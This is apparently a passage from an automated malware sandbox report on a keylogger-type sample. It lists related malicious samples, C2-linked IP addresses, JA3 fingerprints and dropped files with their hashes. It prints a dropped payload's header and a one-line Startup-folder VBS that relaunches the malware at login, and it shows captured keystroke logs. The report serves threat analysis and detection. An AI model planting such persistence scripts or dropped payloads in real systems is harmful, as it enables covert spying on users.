	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Ziraat#U00a0Bankas#U0131 swift mesaji_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Transaction_copy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ for WIKA_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
SOCCOMERCIALWIRENETCHILELTDACL	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Nvojocm.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Documentos_xlsm.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	SecuriteInfo.com.Win32.DropperX-gen.6684.1882.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	New PO678900__pif.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Nuevo pedido URGENTE RFQ34543-23.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Detalles de la factura_________________________pdf.exe	Get hash	malicious	Snake Keylogger	Browse	190.107.177.80
	Order Catalog_____________pdf.exe	Get hash	malicious	DarkCloud	Browse	190.107.177.80
	Gu#U00eda de carga de DHL_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	190.107.177.80
	Eprdtdrqbr.exe	Get hash	malicious	Snake Keylogger	Browse	190.107.177.80
ACPCA	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	x86.elf	Get hash	malicious	Mirai	Browse	162.52.29.90
	http://www.skyunitedlc.com	Get hash	malicious	Unknown	Browse	162.0.217.112
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Order.exe	Get hash	malicious	FormBook	Browse	162.0.211.143
	FCGF98760900.bat.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	fHkdf4WB7zhMcqP.exe	Get hash	malicious	FormBook	Browse	162.0.211.143
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	162.22.50.159
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	IIVc04SkqB.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	eMfPZvOkbJ.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.220
	Mark Qualman.zip	Get hash	malicious	Unknown	Browse	149.154.167.220
	G13VTHRtIa.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.220
	chelentano.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.220
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	guia_luqf.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	u06cfykCat.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	ORDER REF_47806798 .exe	Get hash	malicious	XWorm	Browse
	chiara.exe	Get hash	malicious	CryptOne, DarkTortilla, Mofksys, XWorm	Browse
	Bank Details.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	Signed Document..exe	Get hash	malicious	Remcos, DarkTortilla, PureLog Stealer	Browse
	PO CONTRACT.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	image.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	ABA NEW ORDER No.2400228341.pdf.exe	Get hash	malicious	AsyncRAT	Browse
	09099627362726.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.10530.8108.exe	Get hash	malicious	DarkTortilla, XWorm	Browse
	719#U665a) HBL# LMSIN2407028 (by SEA) PO# 4500577338, by 1x40' HQ.pdf.scr.exe	Get hash	malicious	DarkTortilla, XWorm	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\boost.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1089
Entropy (8bit):	5.3331074454898735
Encrypted:	false
SSDEEP:	24:ML9E4KlKNE4oK2nMK/KDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlIHoVnM6YHKh3oPtHo6hAHKzeR
MD5:	E54FE55F93C5501D5C4737CCF0E6E48B
SHA1:	BEF9C1A7166E3E8C2C7762C42F8FCBB753B63283
SHA-256:	2434AE4C4C8436A64A4F3317638DF77C38CB7FFC226037ADE1DC6F6CD4745619
SHA-512:	5422F02595B12ACFE23AF8C69ACF43B5529C700FC3FA5ADEDDBDFF36737C22D7AE23FCD4A39869DF6D02D7D708F951142983E60ED90EADFDCE5CC40B164AD19D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\48ee4ec9441351bbe4d9095c96b8ea01\System.Configuration.Install.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nati

C:\Users\user\AppData\Roaming\Method.exe

Download File

Process:	C:\Users\user\Desktop\Lista de cotizaciones.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	157184
Entropy (8bit):	5.571612380447687
Encrypted:	false
SSDEEP:	1536:Hw8PTQZY8U/0gpmPzjiKxPRTZgf/GtmpQWeRv/krNJiV+KxPN/YGbThpcXGRo:qBymfimgnEmDeRv/kpJiVbP/NM
MD5:	A2D04709E9B6608F55007222D39FE8D4
SHA1:	59CDF12E87F54707CB37736D63E7B154E61C10C4
SHA-256:	E3AC415D0FCAC1C616425032257C65E27EFBD46C15A8DAF6AFD6571912889935
SHA-512:	4F32777F9EE4E452363E48AF673BCA45F6287431FA85F938FED64C135DB1D50629F3D4F8C369837AB829F55D6287B4DD2D6144C72C01BB934D33CAC927A8232A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...XJ6g.................\...........z... ........@.. ....................................`..................................z..K.................................................................................... ............... ..H............text....Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H.......Pm...............T..Y&..............................................(......0..T....... ........8........E............8....s....(....o....& ....~....{....:....& ....8....&~..........~......0../.........(....}.......}......\|......(...+..\|....(.......(....*.0..A....... ........8........E........................8.......:e... ....~....{....9....& ....8........E....F.......~.......3...\.......1.......!.......U...........8A....(....o...... ....~....{p...9....& ....8...

C:\Users\user\AppData\Roaming\Method.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Lista de cotizaciones.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs

Download File

Process:	C:\Users\user\Desktop\Lista de cotizaciones.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.8033788016953105
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoMEREaKC51AHn:FER/lFHIFiaZ51O
MD5:	5BDE2F2B866B1C91836B14AACB956B8C
SHA1:	10CF238A0E9120EB272F60DDC0E4A25BE1CDC60A
SHA-256:	6DD86CAE9CA0576F70AA3EAF96376FC1B31B5F2D29FA7D68F7E7877B77CA2968
SHA-512:	F1176457E7F2732678769D6E609B62300C5F51E700A8F58B586D6CABEBF7C3407AD62BE6E6FC5CC0C68455AA5778130B57E0D959DF00D71814C00D782136D2B4
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\Method.exe"""

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataHnoYsPNF.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.3128275092660635
Encrypted:	false
SSDEEP:	3:tOjpE4kbpE4kbpE4kbpE4kbpE4kbpE4kbpE4kkfE4kkfE4kkfE4kkfE4F:tOjpwbpwbpwbpwbpwbpwbpwawawawax
MD5:	9D620868069A844D44351F8A3E79C147
SHA1:	C358ECD5844ED1D9F204C5C1F89EE960629A144E
SHA-256:	73E86399F56763C1BEB19B420A3FC96656A5E653C45AC37B4784AD87A298B38C
SHA-512:	98DB78AF4AA3F40147B6B5B9AB394EB059E9080571619DA68A48A2CF8DCEC21A9EF5C23B41F26EEFB70B24CFF4B2473EFA39D4238AEE4444FCE66EE435F01414
Malicious:	false
Preview:	..[03:11:23]<<Program Manager>>....[03:11:23]<<Program Manager>>....[03:11:23]<<Program Manager>>....[03:11:23]<<Program Manager>>....[03:11:23]<<Program Manager>>....[03:11:23]<<Program Manager>>....[03:11:23]<<Program Manager>>....[03:11:24]<<Program Manager>>....[03:11:24]<<Program Manager>>....[03:11:24]<<Program Manager>>....[03:11:24]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataKUBssLSi.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.255663544265789
Encrypted:	false
SSDEEP:	3:tOHUE4kfUE4kfUE4kfUE4k/n1ZE4k/n1ZE4k/n1ZE4k/n1ZE4k/n1ZE4k/n1ZE42:tO0wswswswXwXwXwXwXwXwXx
MD5:	413BFEF68A529A580B6C07C58BA0CF68
SHA1:	D19A728B71A0FBFA7102960402D87FCDA61056AC
SHA-256:	8542D1A48726CF43F47201FEAE6E0C67C398A1170F781D6DF5A3A2C2935E2C6E
SHA-512:	95E00CDE243A1090A3A58D31F53F487E433C4D36C74267BF8B8D36465651178AC03BE9E2631BFA075378A7161435B78C6BB6EA53EFA2805F47212CBF478EE1F1
Malicious:	false
Preview:	..[03:11:31]<<Program Manager>>....[03:11:31]<<Program Manager>>....[03:11:31]<<Program Manager>>....[03:11:31]<<Program Manager>>....[03:11:32]<<Program Manager>>....[03:11:32]<<Program Manager>>....[03:11:32]<<Program Manager>>....[03:11:32]<<Program Manager>>....[03:11:32]<<Program Manager>>....[03:11:32]<<Program Manager>>....[03:11:32]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataNGBTwQEZ.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.307392509395239
Encrypted:	false
SSDEEP:	6:tO8Zjpw0Zjpw0Zjpw9w9w9w9w9w9w9w9wyZdpx:tJwqwqw9w9w9w9w9w9w9w9wKdpx
MD5:	54F70A42BC21AF76616C98693BD744D0
SHA1:	F17FC73AEAB41A4FEA57AF680C985985EE3643B7
SHA-256:	8C57F573CE2A2AB543F671047B75ACB3875AB8F21A5EF07E837E735C691DFCE6
SHA-512:	4424E9E491C436B5523AF0F96F9079ADC98BEBAEE18B699136E1BD6C23A2929A336E77B92DFD83A6DCD1727A07040CDF17977BC18A806D26204960B63081B290
Malicious:	false
Preview:	..[03:11:37]<<Program Manager>>....[03:11:37]<<Program Manager>>....[03:11:37]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:38]<<Program Manager>>....[03:11:39]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataNqUQNNwR.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	363
Entropy (8bit):	4.301665061522748
Encrypted:	false
SSDEEP:	6:tObwzwMZLXpwMZLXpwMZLXpwMZLXpwMZLXpwMZLXpwMZLXpwrZwrZx:tYwzwMdpwMdpwMdpwMdpwMdpwMdpwMdt
MD5:	671E3FF9310EDD8FF85561024FAC3D61
SHA1:	7ED6225C459A2E90027DA94F04D6F85857123AAC
SHA-256:	413A893CAA535476520462A9B8A3510A122B594FDF421D3601E96FA97C40B071
SHA-512:	8A4CF124AC060923F89805055DAB92610B4B0FC7FBA5F34838CBA10374FDCCAD5205EE82F4CF6CF7B866505EB585369BFFD27A29BF6EE541942DF9ECB84BA5C5
Malicious:	false
Preview:	..[03:12:02]<<Program Manager>>....[03:12:02]<<Program Manager>>....[03:12:03]<<Program Manager>>....[03:12:03]<<Program Manager>>....[03:12:03]<<Program Manager>>....[03:12:03]<<Program Manager>>....[03:12:03]<<Program Manager>>....[03:12:03]<<Program Manager>>....[03:12:03]<<Program Manager>>....[03:12:04]<<Program Manager>>....[03:12:04]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataOPVBvAcw.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.264784004633472
Encrypted:	false
SSDEEP:	6:tOCZwqZwqZwqZwqZwnpwnpwnpwnpwnpwnpx:tPwQwQwQwQwpwpwpwpwpwpx
MD5:	EEDD1B48F422D55A8ABDD059179B4A21
SHA1:	748E2F0EDB0F3CBDFB40EDACDAE56014DDA218A1
SHA-256:	F6668C1F65135859D6F70D5974F0F9F6EC4DB6356C2DE9E72DE458CF54896C48
SHA-512:	5ABEF59A2498AACB7410F140D4677D6B2DA3440CC47D25D1316F9EC34B40957E37CC8E93F0E1B52BAA45C4A39F7CE1AAD41D6B0EED137C0406A6E8D007DD4CEC
Malicious:	false
Preview:	..[03:11:40]<<Program Manager>>....[03:11:40]<<Program Manager>>....[03:11:40]<<Program Manager>>....[03:11:40]<<Program Manager>>....[03:11:40]<<Program Manager>>....[03:11:41]<<Program Manager>>....[03:11:41]<<Program Manager>>....[03:11:41]<<Program Manager>>....[03:11:41]<<Program Manager>>....[03:11:41]<<Program Manager>>....[03:11:41]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataObBLPFjN.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.3576371371655505
Encrypted:	false
SSDEEP:	12:t7ZwIZwIZwIZwXfwXfwXfwXfwXfwXfwXfwPNx:t7999J
MD5:	72552C96EAAD00A3F4B1D7139F1BA3FA
SHA1:	AAA936F40B85C537A7A19F0C557F0B2CDBB565E5
SHA-256:	4EEFC579AE58CE19EF0BEBB40A3A61A848DB73907CA43A8D9CB48EF7E6955E27
SHA-512:	913EA912F1E0470D44D2E119EF03D1A8AE6C1222297A203B211690088D8C525DA3BE0388E805BF8AE1D6C2B70DA1FC897AE51BFD8F9ED168AA07010AC7B71554
Malicious:	false
Preview:	..[03:11:28]<<Program Manager>>....[03:11:28]<<Program Manager>>....[03:11:28]<<Program Manager>>....[03:11:28]<<Program Manager>>....[03:11:29]<<Program Manager>>....[03:11:29]<<Program Manager>>....[03:11:29]<<Program Manager>>....[03:11:29]<<Program Manager>>....[03:11:29]<<Program Manager>>....[03:11:29]<<Program Manager>>....[03:11:29]<<Program Manager>>....[03:11:30]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataPcJeEWCf.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.370199057551886
Encrypted:	false
SSDEEP:	3:tO+fE4kGfE4kPZE4kPZE4kPZE4kPZE4kPZE4kPZE4kPZE4kYUE4kYUE4F:tOwwYwPZwPZwPZwPZwPZwPZwPZwPwPx
MD5:	600027077684BFB00B1C668FBB08E51B
SHA1:	B29A4131995CA885A826FE93384C62211D29212D
SHA-256:	8DE55B414E9811C761D5FD3841521C77294F394D3A49C66A5C10DDB383D37622
SHA-512:	38CA031CF07E0924E688EDE6E5C35A7517F5088C6491393AB45B99D3BCD4AE8B02DC52A9E4F8A21A628461C63105B1D9C2E366EEC0C9AACAE48514D48DE380A1
Malicious:	false
Preview:	..[03:11:48]<<Program Manager>>....[03:11:48]<<Program Manager>>....[03:11:49]<<Program Manager>>....[03:11:49]<<Program Manager>>....[03:11:49]<<Program Manager>>....[03:11:49]<<Program Manager>>....[03:11:49]<<Program Manager>>....[03:11:49]<<Program Manager>>....[03:11:49]<<Program Manager>>....[03:11:50]<<Program Manager>>....[03:11:50]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataTcDqRQxl.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.31796839248074
Encrypted:	false
SSDEEP:	6:tOENw8Nw8Nw8NwHNwHNwHNwHNwHNwHNwHNwHNx:t7Nw8Nw8Nw8Nwtwtwtwtwtwtwtwtx
MD5:	4633A53DE6985693819935B6803952FA
SHA1:	E2669ADB4FA9D5507A25482F7E046B6643088A72
SHA-256:	A368D2E3A1E6EA0FB9FCE83DFF652E5537F34B943945AF1C2D28A6D864FDB24C
SHA-512:	428952A422F787F3D7F8ECC951E896684D6048BF59DDB8AB504050CCBFA458DEDD6807FFF25435AE3B2E714A241DD31917A550321C2D4A3CF758A9CD41C83A12
Malicious:	false
Preview:	..[03:11:51]<<Program Manager>>....[03:11:51]<<Program Manager>>....[03:11:51]<<Program Manager>>....[03:11:51]<<Program Manager>>....[03:11:52]<<Program Manager>>....[03:11:52]<<Program Manager>>....[03:11:52]<<Program Manager>>....[03:11:52]<<Program Manager>>....[03:11:52]<<Program Manager>>....[03:11:52]<<Program Manager>>....[03:11:52]<<Program Manager>>....[03:11:52]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataUWuLpTpc.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.373929164813413
Encrypted:	false
SSDEEP:	6:tOD1Xpw71XpwwwwwwwwwwwwwwwXZwXZwXZx:taZwRZwwwwwwwwwwwwwwwXZwXZwXZx
MD5:	917B4A9E2F0FC8D4C9691C71B64A8822
SHA1:	D76EBE375599454F37FBDD02F3E22E276AC998DE
SHA-256:	C81462FC465E7A44FE0D15505FD392E4A7C3C9F82D710412117122005E12644A
SHA-512:	CA1C1D5EA90BC4C445535AD9AE4CC2F998FAE1DA2D39CC8A0013B59A4E1110D2645B8EA2EC1E9435135C7F3BBB768F9F0A4B6048772B710279687944671CDF25
Malicious:	false
Preview:	..[03:11:25]<<Program Manager>>....[03:11:25]<<Program Manager>>....[03:11:26]<<Program Manager>>....[03:11:26]<<Program Manager>>....[03:11:26]<<Program Manager>>....[03:11:26]<<Program Manager>>....[03:11:26]<<Program Manager>>....[03:11:26]<<Program Manager>>....[03:11:26]<<Program Manager>>....[03:11:27]<<Program Manager>>....[03:11:27]<<Program Manager>>....[03:11:27]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataamEVCLqw.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16264
Entropy (8bit):	4.552619608134148
Encrypted:	false
SSDEEP:	24:tP0rrrrrr6ggggggvAAAAAAAhdddddd6ggggggwg/uVjuVjuVjuVjuVUuV2uV2uM:xNu5u5u5u5umucucunllllllI
MD5:	29D063428F498F3419F596A632FA0E00
SHA1:	3DC6A52AFA926110C512D7D4AD0A8EA96F513028
SHA-256:	9F6FEEC4C58F9326ACC0889A20FF2EE857C84AE0C73E1F8BA3833719CF58AF89
SHA-512:	58A195D18E7431DB443BB4E94E3D27FF2668F5B4A26809E4B98651C3E4E16589D0F6C161342174F37CCD6DB602F649AF35CA11C1D718731C5F36F0EBF0AE1332
Malicious:	false
Preview:	..[03:10:07]<<Run>>....[03:10:08]<<Run>>....[03:10:08]<<Run>>....[03:10:08]<<Run>>....[03:10:08]<<Run>>....[03:10:08]<<Run>>....[03:10:08]<<Run>>....[03:10:08]<<Run>>....[03:10:09]<<Run>>....[03:10:09]<<Run>>....[03:10:09]<<Run>>....[03:10:09]<<Run>>....[03:10:09]<<Run>>....[03:10:09]<<Run>>....[03:10:09]<<Run>>....[03:10:10]<<Run>>....[03:10:10]<<Run>>....[03:10:10]<<Run>>....[03:10:10]<<Run>>....[03:10:10]<<Run>>....[03:10:10]<<Run>>....[03:10:10]<<Run>>....[03:10:11]<<Run>>....[03:10:11]<<Run>>....[03:10:11]<<Run>>....[03:10:11]<<Run>>....[03:10:11]<<Program Manager>>....[03:10:11]<<Program Manager>>....[03:10:11]<<Program Manager>>....[03:10:12]<<Program Manager>>....[03:10:12]<<Program Manager>>....[03:10:12]<<Program Manager>>....[03:10:12]<<Program Manager>>....[03:10:12]<<Program Manager>>....[03:10:12]<<Program Manager>>....[03:10:12]<<Program Manager>>....[03:10:13]<<Program Manager>>....[03:10:13]<<Program Manager>>....[03:10:13]<<Program Manager>>....[03:10:13]<<Program Man

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataiSFpZwOf.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.278595783291166
Encrypted:	false
SSDEEP:	6:tOjfwbfwbfwbfwbfwbfwbfw8w8w8w8w8x:tqfwbfwbfwbfwbfwbfwbfw8w8w8w8w8x
MD5:	EF8CB0BFA8C1981D38DFB9A541FA2045
SHA1:	3E28B7425E5B0CCA5BA2F865A6BEBD8B84C4EFEB
SHA-256:	19A01A683E5EC5765ED471BE2C973AE5E00631BEAE711872725AEF7704B9392F
SHA-512:	3262258BCBA1FD973E0E268FBA66A66BDA5DF913FEBFC0C58DFD5DFDB88BE5DA445AFE447F9E7A586148939535619ADA921B2A8C2E390523C92CDE99D03770C6
Malicious:	false
Preview:	..[03:11:43]<<Program Manager>>....[03:11:43]<<Program Manager>>....[03:11:43]<<Program Manager>>....[03:11:43]<<Program Manager>>....[03:11:43]<<Program Manager>>....[03:11:43]<<Program Manager>>....[03:11:43]<<Program Manager>>....[03:11:44]<<Program Manager>>....[03:11:44]<<Program Manager>>....[03:11:44]<<Program Manager>>....[03:11:44]<<Program Manager>>....[03:11:44]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatatjzSJwHd.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.3205390055581905
Encrypted:	false
SSDEEP:	12:t8wzwzwzwzwzw0dpw0dpw0dpw0dpw0dpw0dpx:t7
MD5:	9B2F770C972179F2A63DDF7D330F688C
SHA1:	49759A8AF01EBB7E7061C38D6E197B610EA1FC58
SHA-256:	01FD3073B9D13FF9B498F2A5880D244F2FEE74E92D333D81C6CB08C2E6F88042
SHA-512:	1E6194804228ECC9595FF3296BFA630A391A44BDCEE9457B19DDB543A3866299B7CD811F691E5E76CD51E660A69A27C11D7C9DBB9AD09B402BFE12097586B01F
Malicious:	false
Preview:	..[03:11:54]<<Program Manager>>....[03:11:54]<<Program Manager>>....[03:11:54]<<Program Manager>>....[03:11:54]<<Program Manager>>....[03:11:54]<<Program Manager>>....[03:11:54]<<Program Manager>>....[03:11:55]<<Program Manager>>....[03:11:55]<<Program Manager>>....[03:11:55]<<Program Manager>>....[03:11:55]<<Program Manager>>....[03:11:55]<<Program Manager>>....[03:11:55]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatauJuWYZMF.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.326313258111434
Encrypted:	false
SSDEEP:	3:tOOE4k2E4k2E4kyUE4kyUE4kyUE4kyUE4kyUE4kyUE4kyUE4kCaUE4F:tOOw2w2wxwxwxwxwxwxwxwCZx
MD5:	3C08C154133726B1C93FCF98CE49941E
SHA1:	B31CCC83F9F44876720F51D1D0A42B1E1D736BFC
SHA-256:	19B09A018BA7711A6E42C6F9E49FD2D884840CFBA308D58EA0DF671A097B7FA8
SHA-512:	EF65E9642A94851108B0EA01DB2D11969FBA1E51FDD20C0E4CFDBA6BDEF85BB5B7558574AE6FF9FF47190169BD5FD3858BA700F857303BF56B7A9D3C58641150
Malicious:	false
Preview:	..[03:11:59]<<Program Manager>>....[03:11:59]<<Program Manager>>....[03:11:59]<<Program Manager>>....[03:12:00]<<Program Manager>>....[03:12:00]<<Program Manager>>....[03:12:00]<<Program Manager>>....[03:12:00]<<Program Manager>>....[03:12:00]<<Program Manager>>....[03:12:00]<<Program Manager>>....[03:12:00]<<Program Manager>>....[03:12:01]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatavBMZiQxi.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.36990485157242
Encrypted:	false
SSDEEP:	3:tO5fE4kxfE4k4fE4k4fE4k4fE4k4fE4k4fE4k4fE4k4fE4k4fE4kPnfE4kPnfE4F:tO5fwxfwWwWwWwWwWwWwWwWwPnfwPnfx
MD5:	B589CC9B0004AE1DF6D6DCC221F689D3
SHA1:	446D02C4E75DD9AE3182507AB766FDFC1DCF81D4
SHA-256:	3754238F680701E9FE6941B4249151C9BE3A42350CE20740BE61B9DCB4764EFF
SHA-512:	47783B0165E99A140563879BDF8D89A087E8405C2C5AEEC55F5383CE2A0EACB0043A15ED25EC71435E6010307F110711901D9285BE9DA16C1067B03798B0335E
Malicious:	false
Preview:	..[03:11:45]<<Program Manager>>....[03:11:45]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:46]<<Program Manager>>....[03:11:47]<<Program Manager>>....[03:11:47]<<Program Manager>>..

